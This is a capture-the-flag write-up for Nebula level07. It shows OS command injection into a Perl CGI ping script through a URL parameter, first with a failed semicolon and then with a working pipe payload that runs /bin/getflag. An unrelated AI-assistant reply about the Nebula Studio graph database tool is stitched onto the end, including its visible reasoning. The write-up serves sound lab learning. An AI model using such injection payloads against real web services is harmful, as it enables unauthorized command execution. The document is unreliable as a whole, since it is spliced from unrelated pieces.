Nebula level07

本文介绍了一种通过Perl CGI脚本进行特殊操作的方法。作者尝试使用分号绕过ping命令未果后,回忆起Perl的相关知识,成功利用管道符执行了目标命令并获取了flag。

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
To do this level, log in as the level07 account with the password level07 . Files for this level can be found in /home/flag07.

This one was a little bit tricky since it’s specific to Perl. However I did remember about thisand upon refreshing my memory on the topic it was matter of seconds.

To play with this level just navigate to the IP of your VM at port 7007 (via providedthttpd.conf; in my case 192.168.1.11).

My first thought was to try using ";" to break ping command:

http://192.168.1.11:7007/index.cgi?Host=localhost;ls

But the result was:

PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_req=1 ttl=64 time=0.063 ms
64 bytes from localhost (127.0.0.1): icmp_req=2 ttl=64 time=0.074 ms
64 bytes from localhost (127.0.0.1): icmp_req=3 ttl=64 time=0.148 ms

--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.063/0.095/0.148/0.037 ms

So clearly it didn’t work as I planned. Then I was trying to remind myself anything specific about Perl CGI scripts and I did that successfully (vide link from above). After quick refresh I already knew the answer. The pipes, the pipes!

http://192.168.1.11:7007/index.cgi?Host=localhost| /bin/getflag

And as you may expect it did work:

You have successfully executed getflag on a target account

On to the next one, gents!

<think> Hmm, the user is asking about the purpose of Nebula Studio after being provided with several references about its deployment and installation. Based on the citations, I can see that Nebula Studio is a web-based visualization tool designed for Nebula Graph databases. The references mention key capabilities like graph construction, data import, and nGQL query writing - these clearly form the core functionality. Looking at the context, the user seems to be exploring Nebula Graph ecosystem tools. They've previously received technical references but now want a higher-level understanding of the tool's purpose. The question is quite straightforward - focusing purely on "what it does" rather than installation details. From Ref[1], I notice it's described as an "open source graph database visualization tool" that provides "one-stop services". Ref[3] confirms its web accessibility and mentions visualization specifically. Ref[4]'s GitHub link suggests it's part of Nebula's official toolset. The challenge is to synthesize these technical references into clear business-friendly benefits. Since the user didn't specify their technical level, I'll balance depth with accessibility. The visualization aspect seems most valuable - graphs are inherently visual, so being able to explore relationships visually would be a major advantage over CLI tools. I should highlight three key pillars: the visual interface lowering the entry barrier, the integrated workflow eliminating tool-switching, and how this accelerates development cycles. The browser-based nature from Ref[3] is also worth emphasizing as it enables easy collaboration. Perhaps most importantly, I need to connect these features to real user benefits - faster onboarding, reduced learning curve, quicker debugging. The references don't explicitly state these, but they're logical extensions of the described functionality. </think> 基于参考信息,Nebula Studio 的核心用途可总结为以下要点: ### 🔍 1. **可视化图数据库管理** - 提供 Web 端图形界面,无需命令行即可操作 Nebula Graph 数据库 - 直观展示图结构(点、边、属性等),降低图数据理解门槛 [^1][^3] ### ️ 2. **一站式数据操作** - **构图建模**:可视化创建图空间、定义点/边类型及属性 - **数据导入**:支持多种数据源导入图数据库(如 CSV 等格式)[^1] - **查询编写**:内置 nGQL 编辑器,提供语法高亮与执行功能 [^1][^4] ### ⚡ 3. **查询与调试支持** - 实时执行 nGQL 查询并**可视化展示结果**(如子图渲染) - 快速验证查询逻辑,调试复杂图遍历操作 [^3][^4] ### 🌐 4. **零客户端部署** - 基于浏览器访问(如 `http://ip:7001`),无需安装本地客户端 - 支持远程协作开发与管理 [^3][^4] ### 📊 典型应用场景 ```mermaid graph LR A[数据建模] --> B[可视化构图] C[数据迁移] --> D[批量导入图数据] E[业务分析] --> F[交互式图查询] G[教学演示] --> H[实时图谱可视化] ``` ### 💎 核心价值 > 通过将 **图数据库操作**、**数据管理** 和 **可视化探索** 集成到统一 Web 平台,显著降低 Nebula Graph 的使用门槛,提升开发效率,尤其适用于图数据探索、实时分析与团队协作场景 [^1][^4]。
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